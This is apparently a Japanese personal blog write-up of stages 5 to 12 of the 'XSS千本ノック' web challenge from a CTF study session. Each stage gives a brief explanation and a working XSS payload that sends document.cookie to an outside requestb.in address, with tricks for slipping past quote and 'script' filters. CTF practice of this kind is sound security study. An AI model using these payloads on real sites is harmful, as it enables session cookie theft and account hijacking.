ななふんのブログ

セキュリティや興味のあることについて書く予定です

katagaitai CTF勉強会 #9 XSS千本ノック Writeup

初めまして、ななふんです。

8月27日に開催されたkatagaitai CTF勉強会 #9に参加しました。

WebパートであるXSS千本ノックのWriteupを復習がてら書いていきます。

XSS千本ノックのWriteupは他の方も書かれてますが、方法に若干の違いがあるようなので記載しました。

Stage12まで解けましたが1~4はメモしてなかったので省いてます。

5

onfocusとautofocusでテキストボックスに自動でフォーカスが当たるようにしてます。

?q=XSS%22%20onfocus=%22location.href=%27https://requestb.in/rky1i4rk?cookie=%27%2bdocument.cookie%22%20autofocus=%22

6

ダブルクォートがサニタイジングされるので`(バッククォート)で代用

?q=XSS%27%20onfocus=%27location.href=`https://requestb.in/rky1i4rk?cookie=`%2bdocument.cookie%27%20autofocus=%27

7

上記に加えシングルクォートもサニタイジングされたので消したらいけました。

?q=XSS%20onfocus=location.href=`https://requestb.in/rky1i4rk?cookie=`%2bdocument.cookie%20autofocus=

8

iframeタグのsrc属性内でスクリプトを実行

?q=javascript:location.href=`https://requestb.in/rky1i4rk?cookie=`%2bdocument.cookie

9

iframeタグのsrcdoc属性内にscriptタグを書く

?q=%3Cscript%3Elocation.href=%22https://requestb.in/rky1i4rk?cookie=%22%2bdocument.cookie%3C/script%3E

10

scriptという文字列が1回のみ削除されるようなので、入れ子にして書く

?q=<scscriptript>location.href="https://requestb.in/rky1i4rk?cookie="%2bdocument.cookie</scscriptript>

11

scriptという文字列が何回でも削除されるようなので、それを利用してxssフィルターを回避する。 このフィルターのことをXSS_AUDITORと言うらしい。勉強会中はAUDITORってなんぞって思ってた。

?q=<svg%20oscriptnload=location.href="https://requestb.in/rky1i4rk?cookie="%2bdocument.cookie>

12

11と同じリクエストで行けた。

?q=<svg%20oscriptnload=location.href="https://requestb.in/rky1i4rk?cookie="%2bdocument.cookie>

Stage13はサニタイジングされてるように見えて実はJavaScriptとして解釈されてる的なやつだった。シングルクォート打った時の挙動が違うからそこで気づくべきだったけどうまくいかなかった。